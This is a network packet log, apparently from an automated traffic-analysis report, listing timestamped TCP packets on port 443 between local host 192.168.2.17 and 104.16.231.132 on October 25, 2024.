Oct 25, 2024 10:17:26.586482048 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.586513996 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.586530924 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.586563110 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.586600065 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.586760998 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.586798906 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.586857080 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.586875916 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.586924076 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.586952925 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.587003946 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.587054968 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.587085962 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.587112904 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.587142944 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.587212086 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.587296009 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.587368011 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.587400913 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.587505102 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.587570906 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.587610006 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.587655067 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.587681055 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.587706089 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.587743044 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.587866068 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.587905884 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.587937117 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.587963104 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.587985992 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.588006973 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.588118076 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.588160038 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.588201046 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.588218927 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.588243008 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.588264942 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.588387966 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.588427067 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.588459015 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.588470936 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.588495970 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.588536024 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.588706970 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.588746071 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.588781118 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.588793039 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.588816881 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.588840008 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.588982105 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.589020967 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.589066029 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.589083910 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.589108944 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.589131117 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.589240074 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.589281082 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.589308023 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.589319944 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.589345932 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.589402914 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.589458942 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.589497089 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.589535952 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.589549065 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.589574099 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.589602947 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.589663982 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.589703083 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.589742899 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.589755058 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.589781046 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.589806080 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.589868069 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.589907885 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.589940071 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.589951038 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.589977026 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.590013981 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.590075970 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.590116024 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.590153933 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.590164900 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.590189934 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.590213060 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.590302944 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.590341091 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.590379000 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.590403080 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.590425968 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.590447903 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.590590000 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.590630054 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.590672970 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.590689898 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.590712070 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.590753078 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.590799093 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.590847969 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.590887070 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.590898991 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.590926886 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.590950012 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.591010094 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.591049910 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.591080904 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.591093063 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.591120005 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.591136932 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.650588036 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.650641918 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.650690079 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.650708914 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.650736094 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.650755882 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.650795937 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.650836945 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.650876045 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.650895119 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.650918007 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.650948048 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.697748899 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.697824955 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.697873116 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.697901011 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.697923899 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.697968006 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.698195934 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.698245049 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.698272943 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.698287010 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.698312998 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.698331118 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.699464083 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.699507952 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.699548006 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.699561119 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.699585915 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.699709892 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.699817896 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.699861050 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.699889898 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.699919939 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.699948072 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.700004101 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.700268984 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.700303078 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.700339079 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.700350046 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.700376034 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.700387955 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.700412989 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.700414896 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.700431108 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.700449944 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.700479031 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.700754881 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.700778961 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.700819016 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.700829983 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.700867891 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.700910091 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.701097965 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.701122046 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.701167107 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.701178074 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.701201916 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.701332092 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.704474926 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.704525948 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.704612970 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.704627037 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.704677105 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.704917908 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.704966068 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.704994917 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.705005884 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.705032110 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.705066919 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.705315113 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.705363035 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.705409050 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.705424070 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.705449104 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.705467939 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.705616951 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.705673933 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.705699921 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.705712080 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.705760002 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.705780029 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.706021070 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.706072092 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.706094980 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.706115007 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.706136942 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.706171036 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.706372976 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.706422091 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.706465006 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.706480980 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.706504107 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.706569910 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.706674099 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.706717014 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.706743002 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.706753969 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.706779003 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.706803083 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.707077026 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.707123995 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.707146883 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.707158089 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.707195044 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.707215071 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.707288980 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.707355022 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.707379103 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.707391024 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.707418919 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.707443953 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.707876921 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.707918882 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.707938910 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.707950115 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.707977057 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.708008051 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.708226919 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.708265066 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.708290100 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.708301067 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.708343983 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.708343983 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.708587885 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.708633900 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.708652973 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.708663940 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.708703041 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.708723068 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.708888054 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.708930969 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.708951950 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.708964109 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.708991051 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.709007978 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.709148884 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.709192991 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.709224939 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.709235907 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.709260941 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.709295034 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.709528923 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.709579945 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.709604979 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.709634066 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.709660053 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.709681988 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.709767103 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.709809065 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.709837914 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.709850073 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.709878922 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.709898949 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.710011959 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.710053921 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.710083008 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.710098028 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.710120916 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.710150003 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.710216999 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.710263014 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.710304976 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.710321903 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.710345030 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.710372925 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.770184040 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.770222902 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.770287991 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.770301104 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.770343065 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.770348072 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.770348072 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.770365953 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.770401955 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.770422935 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.770447969 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.770457983 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.770488024 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.770525932 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.817176104 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.817240000 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.817270041 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.817282915 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.817313910 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.817332983 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.817687035 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.817735910 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.817770958 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.817781925 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.817809105 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.817854881 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.818011999 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.818056107 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.818083048 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.818093061 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.818124056 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.818140984 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.819427013 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.819478035 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.819506884 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.819518089 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.819574118 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.819574118 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.819725037 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.819827080 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.819875956 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.819886923 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.819912910 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.819935083 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.820142031 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.820189953 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.820213079 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.820223093 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.820269108 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.820288897 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.820411921 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.820457935 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.820499897 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.820511103 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.820540905 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.820558071 CEST	58442	443	192.168.2.17	104.16.231.132
